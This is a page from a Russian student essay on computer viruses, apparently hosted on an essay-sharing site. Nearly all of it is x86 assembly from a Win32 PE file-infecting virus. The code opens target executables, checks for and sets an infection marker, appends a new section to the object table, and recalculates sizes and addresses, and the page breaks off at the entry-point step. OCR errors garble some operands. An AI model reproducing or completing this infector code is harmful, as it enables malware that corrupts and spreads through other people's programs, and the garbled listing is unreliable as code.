Компьютерные вирусы
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: реферат на тему образ жизни, сочинение язык
| Добавил(а) на сайт: Jeshman.
Предыдущая страница реферата | 5 6 7 8 9 10 11 12 13 14 15 | Следующая страница реферата
;Считаем адрес РЕ-заголовка push О lea eax,[ebp+offset bytesread] push eax push 4 lea eax, [ebp+offset peheaderoffset] push eax push dword ptr [ebp+offset ahand] call ReadFile
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка push 0 push 0 push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов
push 0 lea eax, [ebp+offset bytesread] push eax push 58h lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile
;Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader], 00004550h; jnz notape
;Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh jz notape cmp dword ptr [ebp+offset 52],4000000h jz notape
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка push 0 push 0 push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем весь РЕ-заголовок и таблицу объектов
push О lea eax, [ebp+offset bytesread] push eax push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile
;становим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh
;Найдем смещение таблицы объектов xor eax,eax mov ax, word ptr [ebp+offset NtHeaderSize] add eax,18h mov dword ptr [ebp+offset ObjectTableoffset],eax
;Вычислим смещение последнего (null) объекта в таблице объектов mov esi,dword ptr [ebp+offset ObjectTableoffset] lea eax, [ebp+offset peheader] add esi,eax xor eax.eax mov ax, [ebp+offset numObj] mov ecx,40 xor edx.edx mul ecx add esi,eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj] lea edi,[ebp+offset newobject] xchg edi,esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax,[edi-5*8+8] add eax,[edi-5*8+12] mov ecx,dword ptr [ebp+offset objalign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта mov ecx,dword ptr [ebp+offset filealign] mov eax,vend-vstart xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта mov ecx,dword ptr [ebp+offset objalign] mov eax,vend-vstart+1000h xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта mov eax,[edi-5*8+20] add eax,[edi-5*8+16] mov ecx,dword ptr [ebp+offset filealign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла mov eax,vend-vstart+1000h add eax,dword ptr [ebp+offset imagesize] mov ecx, [ebp+offset objalign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset imagesize],eax
;Скопируем новый объект в таблицу объектов mov ecx,10 rep movsd
;Вычислим точку входа RVA
Рекомендуем скачать другие рефераты по теме: контрольная, использование рефератов.
Категории:
Предыдущая страница реферата | 5 6 7 8 9 10 11 12 13 14 15 | Следующая страница реферата